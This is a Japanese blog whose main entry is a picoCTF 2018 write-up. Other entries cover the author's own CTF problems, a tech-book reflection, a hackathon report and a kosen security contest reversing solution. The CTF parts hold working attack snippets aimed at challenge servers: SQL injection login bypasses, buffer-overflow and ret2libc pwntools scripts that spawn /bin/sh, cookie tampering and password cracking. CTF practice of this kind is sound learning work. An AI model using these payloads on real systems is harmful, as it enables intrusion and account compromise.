ふるつき

私は素直に思ったことを書いてるけど、上から目線だって言われる

picoCTF 2018 writeup

 激つよチーム PPP がやっているという初心者向け CTF picoCTF 2018 に 途中まで theoldmoon0602 一人、途中から ptr-yudai と insecure として参加していました。いつの間にか終わっていたので解いた問題の writeup を雑に書きます。

[Forensics 50] Forensics Warmup 1

Forensics - Solved

f:id:Furutsuki:20181013224334p:plain

flag.zip をダウンロードしてきて、 unzip すると flag.jpg というファイルが出てくるので display flag.jpg として表示しました。

### [Forensics 50] Forensics Warmup 2

f:id:Furutsuki:20181013224459p:plain

flag.png が手に入るので display flag.png としたらFlagが手に入りました。Flag文字列から察するに中身は jpg とかで、 file flag.png としたらやはり JPG でした。

[General Skills 50] General Warmup 1

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

という問題文だったので、多分 picoCTF{A} とか送ったんだと思います

[General Skills 50] General Warmup 2

Can you convert the number 27 (base 10) to binary (base 2)?

python でやるなら bin(27) とかですね

[General Skills 50]General Warmup 3

What is 0x3D (base 16) in decimal (base 10).

pythonインタプリタ0x3D っていれると10進の値が返値です

[General Skills 50] Resources

 適当なWebページに飛ぶので、 ページ内検索で picoCTF{ などを検索すると picoCTF{xiexie_ni_lai_zheli} があります

[Reversing 50]Reversing Warmup 1

 ELFが手に入るので実行するとフラグが出力されます。picoCTF{welc0m3_t0_r3VeRs1nG}

[Reversing 50] Reversing Warmup 2

$ echo dGg0dF93NHNfczFtcEwz|base64 -d
th4t_w4s_s1mpL3

[Cryptography 75] Crypto Warmup 1

vignere っぽい暗号表と暗号文 c, 鍵 k が渡されます。

c: llkjmlmpadkkc
k: thisisalilkey
m: SECRETMESSAGE

[Cryptograph 75] Crypto Warmup 2

>>> "cvpbPGS{guvf_vf_pelcgb!}".decode("rot13")
u'picoCTF{this_is_crypto!}'

[General Skills 75] grep 1

file がわたされるので grep します。

$ cat file | grep picoCTF{ 
picoCTF{grep_and_you_will_find_52e63a9f}

[General Skills 75] net cat

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell3.picoctf.com at port 10854 to get the flag?

$ nc 2018shell3.picoctf.com 10854 
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}

[Cryptograph 100] HEEEEEEERE'S Johnny!

passwdshadow ファイルが渡されるので john the ripper でなんとかします。

$ unshadow ./passwd ./shadow > ./johnpasswd
$ chmod 0600 ./johnpasswd
$ john --user=root --single ./johnpasswd
$ john --user=root --show ./johnpasswd
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
No password hashes left to crack (see FAQ)
root:kissme:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left
$ cat <<A | nc 2018shell2.picoctf.com 5221
root
kissme
A
Username: Password: picoCTF{J0hn_1$_R1pp3d_289677b5}

[General Skills 100] strings

ELF が渡されるので問題名に従って strings しますが、たくさん流れるので結局 grep します

$ strings strings | grep picoCTF
picoCTF{sTrIngS_sAVeS_Time_c09b1444}

[General Skills 110] pipe

アドレスとポートを頂くので nc すると大量の文字列を受信します。とりあえず out.txt などにリダイレクトしておいて、 grep でそれっぽいものを残します。

> cat ./out.txt | grep -v "Unfortunately" | grep -v "another" | grep -v "not a"
picoCTF{almost_like_mario_8861411c}

普通に grep picoCTF{ でも良いですが

[Web Exploitation 125] Inspect Me

ページのソースをみるとフラグの断片が見つかります。 mycss.css の末尾に残りがあります。 html の方には part 1/3 of the flag の文字列がありましたが結局フラグは二つに分割されているだけでした。

picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

[General Skills 125] grep 2

今度は picoCTF の提供する WebShell 上での問題です。 たくさんディレクトリがあるので grep -R で探します。

$ grep -R "picoCTF" 
.
./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}

[General Skills 150] Aca-Shell-A

略。面倒な問題でした

[Web Exploitation 150] Client Side is Still Bad

 ページのコードは以下のようになっているのでコピーして vim でいい感じに編集してフラグをえました。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == '06ac') {
        if (checkpass.substring(split*5, split*6) == 'd_5e') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }

[Web Exploitation 150] Logon

admin 以外の好きなユーザ名 & パスワードでログインできるページです。 cookieadmin という項目があり False が入っていたので True に編集してリクエストを送りました。

picoCTF{l0g1ns_ar3nt_r34l_2a968c11}

[Forensics 150] Reading Between the Eyes

なにか画像が渡されるので、オンラインの steganography solver に突っ込んだような気がします。

[Forensics 150] Recovering From the Snap

animals.dd が渡されて、 file コマンドにかけると FAT16 っぽいのでマウントしたのですがフラグはなく、ではと思って SleuthKit から flsicat で削除されていた theflag.jpg を復旧しました。

$ fls animals.dd
r/r 4:  dachshund.jpg
r/r * 6:    fox.jpg
r/r 8:  frog.jpg
r/r * 10:   giraffe.jpg
r/r 12: music.jpg
r/r * 14:   rabbit2.jpg
r/r 16: rabbit.jpg
r/r * 18:   theflag.jpg
v/v 327027: $MBR
v/v 327028: $FAT1
v/v 327029: $FAT2
d/d 327030: $OrphanFiles

$ icat animals.dd 18 > theflag.jpg

picoCTF{th3_5n4p_happ3n3d}

[Forensics 150] admin panel

$ strings data.pcap| grep picoCTF{  
user=admin&password=picoCTF{n0ts3cur3_b186631d}

[Reversing 150] assembly-0

.intel_syntax noprefix
/* .bits 32 */
    
.global asm0

asm0:
    push ebp
    mov  ebp,esp
    mov  eax,DWORD PTR [ebp+0x8]
    mov  ebx,DWORD PTR [ebp+0xc]
    mov  eax,ebx
    mov  esp,ebp
    pop  ebp  
    ret

このようなアセンブリソースコードが配布され、

What does asm0(0xc9,0xb0) return?

とのことなので以下のように main.c を書いて gcc main.c asm.S -m32 としてリターンコードを見ました。

extern int asm0(int,int);

int main() {
        return asm0(0x2a,0x4f);
}

[Binary Exploitation 150] buffer overflow 0

略。単純なバッファオーバーフローがあるので リターンアドレスを書き換えると フラグを取得する処理に飛べます。

[Cryptograph 150] caesar cipher 1

適当な ソルバにかけます。

picoCTF{justagoodoldcaesarcipherfwacbovv}

[General Skills 150] environ

与えられたシェルで env とします。

$ env                                                                       
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} 

[Cryptograph 150] hertz

単一換字暗号とみて適当な quipquip に投げました。

substitution_ciphers_are_solvable_gatmlnvhri

[Forensics 150] hex editor

画像が与えられます。 strings すると Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_3E03e57d}" が見えます

[General Skills 150] ssh-keyz

略。 ssh鍵を登録してSSHすると見えます。

[Web Exploitation 200] Irish Name Repo

ログイン画面に SQL インジェクションがあり パスワードを 'OR'a'='a とするとログインできます。

picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

[Web Exploitation 200] Mr. Robots

問題名に従って /robot.txt にアクセスすると隠しておきたいページが見えるので見に行っちゃいます。 picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_74efc}

[Web Exploitation 200] Secret Agent

問題文に従って UserAgent を googlebot に偽装すると flag が手に入ります。 picoCTF{s3cr3t_ag3nt_m4n_dc320c11}

[Forensics 200] Truly an Artist

画像が渡されますが strings で解けます。 picoCTF{look_in_image_13509d38}

[Reversing 200] assembly-1

assembly-0 と同じ方針で解けます

[Reversing 200] be-quick-or-be-dead-1

ELFが渡されますが実行すると「遅い」って言われて死にます。どっかで sigalarm を飛ばして死ぬ処理が走ってると思うので潰します。 今回は radare2 で sigalarm の発行処理を nop で潰しました。

picoCTF{why_bother_doing_unnecessary_computation_402ca676}

[Binary Exploitation 200] buffer overflow 1

from pwn import *

win = 0x80485cb
print(repr("A"*44 + p32(win)))

[Cryptography 200] hertz2

また単一換字暗号です。 picoCTF{substitution_ciphers_are_too_easy_vpyydylnns}

[Binary Exploitation 200] leak-me

strcat を使っているのでバッファオーバーフローでヌル文字を埋めると文字列がだばだばでます。

$ nc 2018shell2.picoctf.com 1271
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570

Incorrect Password!

^C
$ nc 2018shell2.picoctf.com 1271
What is your name?
aiueo
Hello aiueo,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

^C

[Forensics 200] now you don't

画像が与えられるのでバケツツールで塗りつぶすとフラグ文字列が手に入ります。

f:id:Furutsuki:20181013234229p:plain

[Reversing 200] quackme

内部でフラグを生成か比較かしていたので gdb で追いかけながら解きました。

a = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65 , 0x20, 0x44, 0x75, 0x63, 0x6b, 0x20, 0x57, 0x65, 0x62, 0x2c, 0x20, 0x61, 0x6e, 0x64]
b = [0x29, 0x06, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x08, 0x5d, 0x2b, 0x50, 0x14, 0x5d, 0x00, 0x19, 0x17, 0x59, 0x52, 0x5d, 0x00, 0x4e, 0x6f, 0x20, 0x6c, 0x69, 0x6e, 0x65, 0x20, 0x72, 0x65, 0x61, 0x64]

flag = ""
for x in zip(a, b):
    flag += chr(x[0] ^ x[1])

print(flag)

picoCTF{qu4ckm3_5f8d9c17}

[Reversing 200] shellcode

シェルコードを実行するだけのバイナリがあるので、 shellstorm から拝借したやつを貼り付けます。

picoCTF{shellc0de_w00h00_7f5a7309}

[General Skills 200] what base is this?

from pwn import *

p = remote("2018shell2.picoctf.com", 1225)
s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 2), s.split())))
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3].strip()
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = s.decode("hex")
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 8), s.split())))
print(s)
p.sendline(s)

while True:
    print(p.recv(1000))

picoCTF{delusions_about_finding_values_451a9a74}

[General Skills 200] you can't see me

.   というファイルにフラグがあったのですが . にしか見えず困っていたところ、ふと回した var_dump(scandir(".")); に助けられ、無事

$ cat ".  "
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}

[Web Exploitation 250] Buttons

$ curl http://2018shell2.picoctf.com:65107/button2.php -X POST
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

[Web Exploitation 250] The Vault

ソースコードを見せてくれる優しい ログインページなのでSQLインジェクションさせてもらいます。

ユーザ名を admin' union all select 1 -- 、パスワードを hoge とかにすると通ります

picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}

[Forensics 250] What's My Name?

pcap がおちてくるので迷いなく strings します。

picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}

[General Skills 250] absolutely relative

/tmp/takoyaki みたいなディレクトリを作って permission.txtyes を書き込んでおき、このディレクトリでバイナリを呼びます。

picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

[Reversing 250] assembly-2

assembly-0 と同じ要領で解けます

[Binary Exploitation 250] buffer overflow 2

from pwn import *

win = p32(0x080485cb)
dummy = p32(0xdeadbeef)
deadbeef = p32(0xdeadbeef)
deadcode = p32(0xdeadc0de)
print(repr("A"*112 + win + dummy + deadbeef + deadcode))

[Cryptography 250] caesar cipher 2

printable only じゃなくなったので自前でソルバを書きます。

c = map(ord, list(open("ciphertext").read()))

for i in range(256):
    s = ""
    for char in c:
        s += chr((char + i) % 256)
    if s.startswith("pico"):
        break
print(repr(s))


import string
src = s
dst = src.translate(string.maketrans('\xa1\xb2\xa4\x9f\xb0\xb1\xae\xa3', 'CTFARSPE')) # 'I likE orAngE.'
print(repr(dst))

そのまま回しただけだとダメそうなところがあったので適当な変換テーブルも書きました。

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

[Binary Exploitation 250] got-2-learn-libc

ひとつだけCSSの適用がおかしかった問題。

バッファオーバーフローのあるELFからgot2libc して system("/bin/sh") を呼ばせる。適当な関数のアドレスを渡してくれるのでそこから libcの先頭を計算して飛ぶべきアドレスを決める。

from pwn import *

p = process("/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833/vuln")

libc_system = 0x0003a940
libc_puts = 0x0005f140
binsh_addr = 0x15902b

p.recvuntil("puts: ")
exec_libc_puts = int(p.recvline().strip(), 16)

libc_addr = exec_libc_puts - libc_puts

p.recvuntil("Enter a string:")

exec_libc_system = p32(libc_addr + libc_system)
exec_binsh_addr = p32(libc_addr + binsh_addr)

p.sendline("A"*160 + exec_libc_system + exec_binsh_addr + exec_binsh_addr)
p.interactive()

picoCTF{syc4al1s_4rE_uS3fUl_a78c4d87}

[Reversing 275] be-quick-or-be-dead-2

前問同様に alarm は消す。フィボナッチ数列の 0x402 項目の計算がとんでもなく遅かったので同じで高速な処理を自前で書いて出力を得ておいて、 gdbフィボナッチ数列の計算を飛ばして結果だけ正しくなるように set $eax=0xf70a9b58 した。

picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}

[General Skills 275] in out error

なんもわからん

$ echo 'Please may I have the flag?' | ./in-out-error 1>/dev/null
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}...

[General Skills 300] learn gdb

ELF が渡される。内部でフラグを計算する処理が走ってるらしい。 strace をして適当に整形してやるとフラグが手に入ったけど何をしても手に入ると思う。

picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814}

感想

General Skills の問題をとくのが初心者にとっても良さそう。私の場合は解いた問題は知っているものばかりで微妙だった。 be-quick-or-be-die は radare2 でバイナリパッチする練習になったので良かった。

面白い問題に到達する前に飽きちゃったのが良くない。

Ext Super Magic とNo Login が解けなかったのは悔しい。

技術書典5に出した同人誌の原稿を書いた気持ち

 僕は原稿を書く以外の一切をやっていないので知見のようなものは存在せず、本エントリはひたすら感想文です。

 知見やらはこれに全部かいてある

yamasy1549.hateblo.jp

 上記記事にもあるように、 kosen14s で技術書典5 に同人誌を出典していました。TOGETHER 、あるいは闇鍋本というタイトルで二冊 でています。50部ずつ印刷して、技術書典ではぴったり捌けるくらいだったようです。今は PDF 版を BOOTH で販売しています。数学ONLYの分冊を300円で買うと大変お得です。

 以下、私の書いた記事の紹介と感想。それから他の文章を書きます。

[デザインとプログラミングの鍋] J言語について

 J言語というマイナー言語を紹介した記事です。原稿の締切の2日か3日前に yamasy に言われて書きはじめた突貫記事になります。

 J言語で小さなプログラムを書くことを目的に話を展開しつつ、その過程でJ言語の言語機能や基本構文についての説明を入れる形式で紹介していきました。J言語プログラマとして未熟なものですから、言葉を濁しているところ、説明が間違っているかもしれないと危惧しているところ、「ここわかりません」と思いきり匙を投げているところなどがあります。

 しかし文章としてそこそこの体をなしていること、J言語のある程度について語ることができていることには安堵があります。また、原稿に取り組む中で、言語化によって自分の理解・誤解が明確になる感覚を得られたこと、J言語の機能について一段深く理解できたことは収穫でした。

 書いていて楽しかったこともあり、それなりに満足しています。J言語に関する日本語情報は僅かということもありますので、気になればご購入などお願いします。

[数学と電気の鍋] Juliamoで乗り切ろう高専生活

 先に手がけた記事で、時間と手間が大きくかけられています。高専という尖った環境で、丸っこい私のアイデンティティとは何だろう。あるいは技術書典で他の同人誌に、TOGETHER内で他の原稿のなかに溺れてしまわないテーマは何だろうと考えたときに私の手元に残っていたのが、エスペラント検定3級という資格だけでした*1

 この記事を書こうと思い立った時点では、無限の構想がありましたし、最高の記事になる予感がありました。しかしいざ書き始めてみると、まさか私が人にエスペラント、あるいはユリアーモを教えることなどできるはずもなく、また高専とユリアーモについての関連をでっちあげることもできませんでした。

 自身のエスペラント能力に疑問を感じたこともあり、結局この記事はエスペラント検定の受検体験記になったわけですが、人様に読んでいただくほどのものではなく、自身としても不満足です。枯れ木も山の賑わいと思って収録してもらいました。

思いついた順に書くやつ

  • 絶対に失敗すると思ったし、だから企画に深くかかわらず原稿を書くだけにしていたのに製本まで漕ぎつけていてすごい
    • しかも計100部が完売していてすごい
  • ちゃんと売り子の交通費を経費に入れてください。黒字! とか言ってるけど赤字じゃん
  • やましー、ちげくん、しるびあの3名は企画の最初から最後まで忙しくしていて大変お疲れ様ですの気持ちしか無い。次があったらまた頼る
  • 数学の記事が充実していてすごい。師匠の楕円曲線暗号の記事は本当によくできているので読んでいただきたい。
  • TOGETHER という名前が ググラビリティ、オリジナリティ、パロディティ*2 が低いので気に入ってないけど他に良い題も思いつかなかったので仕方がない
  • 原稿が途中までGitHubでオープンになってたの笑うしか無い
    • 僕はそれでも良いと思うしむしろそっちのほうが好き
  • いらいざは原稿落としてたけど、いらいざの原稿楽しみにしてたよ
  • 能力が低いので自分が満足できる原稿を書くことができずにもどかしい
  • 印刷が綺麗でびっくりした。学校の輪転機とは違うんだなぁ
  • 表紙絵が最高すぎる
  • 是非感想を送ってください
    • 同人誌最後のURLとQRコードから匿名で遅れたと思うのでおねがいします
      • 分冊版にもついてるんですかね……?
    • 僕も読んでる漫画や小説の作者さんにファンレターを送りたいと思いながら自意識が邪魔をしてできていません

以上です。次があったらこれ以上酷い原稿を書かないようにと思っています。書くことは好きだけど不得手なのでいつかブレイクスルーにたどり着きたい

*1:この時点ではまだ結果が出ていませんでしたが

*2:パロディ性を表す造語

OCamlabCTF #6

前回の記事

furutsuki.hatenablog.com

#3, #5 は師匠回で、 #4 は私だったけどあまりに酷い問題しか無かったので無効。 #3 回からは SECCON online や SECCON Final を意識していきたいという感じでやってます。

#5 回は exploit について基礎をやって、 #6 はWeb問をやってくれということだったので、 Web 問題を3問つくりました。うち1問は #4 で酷かったやつの リメイクです。問題数が少ないことを気にしていたので、開始直前と開始後に crypto問題を2問だしました。 今回は3連休をまるごと作問に回したのに問題数さほどだし簡単なものしかできないし本当に作問が難しい。

スコアサーバは少しだけ更新しました。

f:id:Furutsuki:20180925152743p:plain

github.com

Flag Checker [Web 100]

github.com

f:id:Furutsuki:20180925150103p:plain

 簡単な javascript による flag check です。

        let f = function ff(o, c) {
            var x = [248, 184, 216, 178, 213, 181, 210, 146, 197, 126, 232, 173, 235, 160, 224, 172, 238, 155, 209, 160, 203, 169, 223, 141, 225, 161, 201, 143, 200, 130, 224, 144, 213, 135, 192, 126, 207, 143, 161];
            l = ~!(x[0] - x[2] + x[28] - x[10]) + !(x[13] ^ x[19]);
            a = -~a;
            z = c ^ o.charCodeAt(a + l);
            if (x.length === a + l) {
                return true;
            }
            if (z != x[a + l] + (a * l * l)) {
                return false;
            }
            return ff(o, z);
        }

        function check() {
            a = false;
            flg = document.getElementById("flag");
            if (flg != null) {
                a = f(flg.value, 182);
            }
            alert(a ? "OK, THIS IS FLAG" : "BAD...");
        }

 割と読める形をしているので読むと、 flag の文字を 1文字ずつ比較しているだけなので、 適当なところに console.log か breakpoint を挟むだけで解けます。再帰してるのと global な aを使ってるのがチャームポイント。

Remember Me [Web 150]

f:id:Furutsuki:20180925150832p:plain

f:id:Furutsuki:20180925150940p:plain

github.com

 本当はラブライブ!のキャラクターの名前を1億回連続で当てると flag が降ってくるみたいなページなんですが、権利が明らかにだめな画像を使っていたので差し替えています。

 ソースコードも渡していて、 そこからログイン時の「RememberMe」にチェックを入れると、 php のオブジェクトがシリアライズされて cookie に保存されていることがわかるので、 Object Injection をやるだけの問題です。一応ユーザ名を変えないと DBに保存された値が使われてしまって回数を変更できない、みたいな捻りにもなっていない捻りは入れましたが、つまらない感じになりました。

Login Me [Web 200]

github.com

f:id:Furutsuki:20180925151353p:plain

 一応最難の問題。 Login と Register しかなくて、 admin という名前で ログインできると flag が手に入ります。 Login はちゃんとエスケープ処理をしていますが、 Registser ではそれがなく、エラーメッセージも見えます。というところから、 time based sql injection で admin のパスワードを抜く問題でした。テーブル名とかはエスパーです。

 師匠は admin のパスワードの1文字をパスワードにもつユーザを作って、そこに 256回ログインしてみて……という感じで推測したようです。

Crypter1 [Crypto 50]

github.com

開始直前に追加したやつ。 微妙に間違ったスクリプトを配布していて、それでも解けるけど間違っていたので後から修正しました。次のようなスクリプトで、 flag の形式がわかっていると先頭ブロックがわかるので、kを求めて次々にxor するだけになります。

import os
import hashlib
import sys


def enc_block(m, k):
    return m ^ k

def pad(m, a):
    l = a - (len(m) % a)
    return m + chr(l)*l

def enc(m):
    m = pad(m, 8)
    k = int(os.urandom(8).encode("hex"), 16)

    r = ""
    for i in range(len(m)/8):
        c = enc_block(int(m[i*8:(i+1)*8].encode("hex"), 16), k)
        r += hex(c)[2:].rstrip("L")
    return r

if __name__ == '__main__':
    print(enc(sys.argv[1]))

So Cool [Crypto 75]

github.com

 あとから追加したやつ。75でだしましたが、 50 でも高いくらいかも。 次々に文字を c_(i+1) = pow(m, c_i, n) しているだけなので、 m を 256 通り試せばいいだけです。

import os
import sys

def enc(m, k, n):
    c = []
    for x in m:
        y = pow(ord(x), k, n)
        c.append(hex(y).rstrip("L"))
        k = y
    return ",".join(c)

while True:
    k = int(os.urandom(4).encode("hex"), 16)
    if k.bit_length() <= 20:
        break
e = 2147483647

print(enc(sys.argv[1], k, e))

雑感

 作問ひたすら難しい。こういうのって慣れなんですかね、それとも実力不足なのか、どちらでも嫌ですが。CTFがみんなこのくらいの難易度だとすらすら解けそうです。

奈良先端科学技術大学院大学ユビ研×LINE BOOT AWARDSハッカソン に参加した

 LINE BOOT AWARDS ハッカソンに参加した。NAISTユビ研との共同開催で、2日間。クラスラインで「こういうのあるけど弊学からだれか出ませんか」という案内が流れてきて(NAISTと割とつながりのある教員の研究室からだったと思う)「ハッカソン参加したこと無いな」とか「NAISTの人にいろいろ教えてもらおう」みたいな動機で参加した。

 私とおおひらさんとnanoさんの3人で sentan-highway というチームを組んだ。おおひらさんはNAIST民で nano さんは非学生。 このチームで、日本語音声でプログラミングして、C言語を吐いたり実行結果を喋ったりするClova Skillを作った。おおひらさんが Clova Skill の作成担当、私はSkillが叩くAPIを書いて、 nano さんはチームマネジメントをした。短い期間ということもあり、 FizzBuzz 程度のプログラムが書けるものが出来上がった。 「プログラム書いて」「変数iで0から100までループ」「if文書いて」「変数iが3で割り切れるとき」「Fizz出力して」みたいなことを言うと、それに合わせたCのコードが出来上がって Slack か LINE にメッセージとして投稿される。「プログラム実行して」というとサーバ側でコンパイル&Runが走って標準出力を Clova が喋ってくれる。私の担当分のコードを置いておきます。 https://github.com/theoldmoon0602/acv_server

 まあ作りたかったものはできたかなという感じだけど、「これ何が嬉しいの?」には答えられないし、もっというと「楽しい?」「この先開発続けられる?」「最終的にはどうなる?」にも一切答えられない。ハッカソンで「なにもできませんでした」を回避するだけみたいなものが出来上がってうーんという感じ。審査員や運営の人は「ここのどの作品もAWARDS受賞のポテンシャルがある」というようなことを言ってたけど私はあんまり思ってないし、愛着がないのでこの先開発を続けるつもりもない。

 満足したことには、審査員だったすぎゃーんさんやなんかに「エンジニア的におもしろい」と言ってもらえたことがある。僕も面白いと思う。この先はあんまりないと思うのでだれか思いついたらやってほしい。 NAIST 民のちからを借りてもこのくらいだと凹みますよね。    でも、他のチームの作品もどんぐりの背比べのような「それである必要は?」「シチュエーションに無理があるんじゃね?」「実装おもしろかった?」*1というやつだった。一つ、イベント毎のときにつかえるLINE Bot みたいなのは(私は使わないだろうな)と思うにせよ、良い機能が実装されていてよかったと思った。

 その後、懇親会などがあったが、ご存知の通りのコミュ弱なのでまあ微妙だった。 kosen14s の yamasy と miwpayou がいたので彼らとばかり喋ってしまって懇親(?)のようになってしまったし、あと喋ったのはお酒を呑みお酒に呑まれた人でちょっと面倒だったとかある。 LINE エンジニアの方とも喋って、その方にはアツい VSCode推しを頂いた。確かにモダンエディタではもはや VSCode一強みたいなところがあるし、 python の補完もめちゃ良い、設定少なくて済むというので帰ってからすこしプログラムを書くときに試してみたけど、 Vim で書いたほうがまだ早いくらいだったので、どうだろう。でもこういう話ができたのは楽しかった。

 雑な感想としては「疲れた。特にチームで開発するので気がついたら知らない機能が必要になっててしんどくなったりした」とか「NAISTの人も2日間ではヤバイものはつくれないんだな」とかそういう感じ。まとめると、勉強をさせていただきました、になるのかな。

 Clova へのフィードバックになるけど 「単語」みたいなものを拾えるSlotが無いと楽しくするのは難しいと思う。セキュリティ的な懸念があるのはわかるけど、キャラクタ性がウリのClovaで単語とれなくて機械的な返ししかできないみたいなのは強みを自分で折りにいっているようにみえる。

*1:全部ブーメラン

高専セキュリティコンテスト 2018 #kosensc Writeup

9/1,2 に福岡県で開催された高専セキュリティコンテストに参加しました。今回は念願のオンサイトです。コンテストの詳細や旅の記録はちょっと面倒なので省略して、 ほとんど writeup だけの記事を書きます。

 奈良高専から出場した私たち insecure (theoldmoon0602, ptr-yudai, thrust2799, yoshiking) は 2日目 の 9:01:42 に全完して優勝でした。 私は3850 点のうち、 800 点を入れたのでその問題についての writeup を以下に書きます。

201809021130_kosensc2018.png (1.6 MB)

IMG_20180902_120458.jpg (402.9 kB)

[Binary 200] XOR, XOR

 これは200点もないでしょという問題。 asmreading という名前の 32bit ELFが渡されます。実行しても何も起こらずすぐに終了する。 ltrace にかけてみたけど何を呼んでる様子もなさそうです。一回は asmreading というファイル名に従って objdump してます。 みると main 関数では変数を初期化して xor_func なる関数を call しているようでした。他に目立った処理も無かったので、gdb で開いて、関数呼び出しの直後に breakpoint を仕掛けて。

 あとは continue して、メモリを見ると FLAG があります。 CKOSEN{you_can_read_assembly!}

 優勝決まった後暇だったので、一応正攻法もやりました。例えば objdump -D -M intel asmreading > dis.asm とします。 <main> というラベルで処理を見ると、大量のmovの後に xor_func を呼んでいるというのは先程も書いたところです。この xor_func の処理を見ると、アドレスが0x593のあたりをからループと xor をしていることがわかりました。 xor の引数は xor_func の引数にループカウンタを足してアドレスを計算しているようです。

 というわけで xor_func への引数を拾ってきて、xor しても flag が手に入ります。

0000054d <xor_func>:
 54d:   55                     push   ebp
 54e:   89 e5                   mov    ebp,esp
 550:  53                     push   ebx
 551:  83 ec 10               sub    esp,0x10
 554:  e8 97 01 00 00         call   6f0 <__x86.get_pc_thunk.ax>
 559:  05 7f 1a 00 00         add    eax,0x1a7f
 55e:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 565:  eb 28                   jmp    58f <xor_func+0x42>
 567:  8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 56a:   8b 45 08              mov    eax,DWORD PTR [ebp+0x8]
 56d:   01 d0                   add    eax,edx
 56f:   0f b6 18                 movzx  ebx,BYTE PTR [eax]
 572:  8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 575:  8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 578:  01 d0                   add    eax,edx
 57a:   0f b6 08                 movzx  ecx,BYTE PTR [eax]
 57d:   8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 580:  8b 45 10              mov    eax,DWORD PTR [ebp+0x10]
 583:  01 d0                   add    eax,edx
 585:  31 cb                   xor    ebx,ecx
 587:  89 da                   mov    edx,ebx
 589:  88 10                 mov    BYTE PTR [eax],dl
 58b:   83 45 f8 01           add    DWORD PTR [ebp-0x8],0x1
 58f:   83 7d f8 1e             cmp    DWORD PTR [ebp-0x8],0x1e
 593:  7e d2                    jle    567 <xor_func+0x1a>
 595:  b8 00 00 00 00          mov    eax,0x0
 59a:   83 c4 10               add    esp,0x10
 59d:   5b                      pop    ebx
 59e:   5d                      pop    ebp
 59f:   c3                       ret    
 6be:    8d 45 97              lea    eax,[ebp-0x69]
 6c1:   50                     push   eax
 6c2:   8d 45 d5                lea    eax,[ebp-0x2b]
 6c5:   50                     push   eax
 6c6:   8d 45 b6                lea    eax,[ebp-0x4a]
 6c9:   50                     push   eax
 6ca:   e8 7e fe ff ff          call   54d <xor_func>
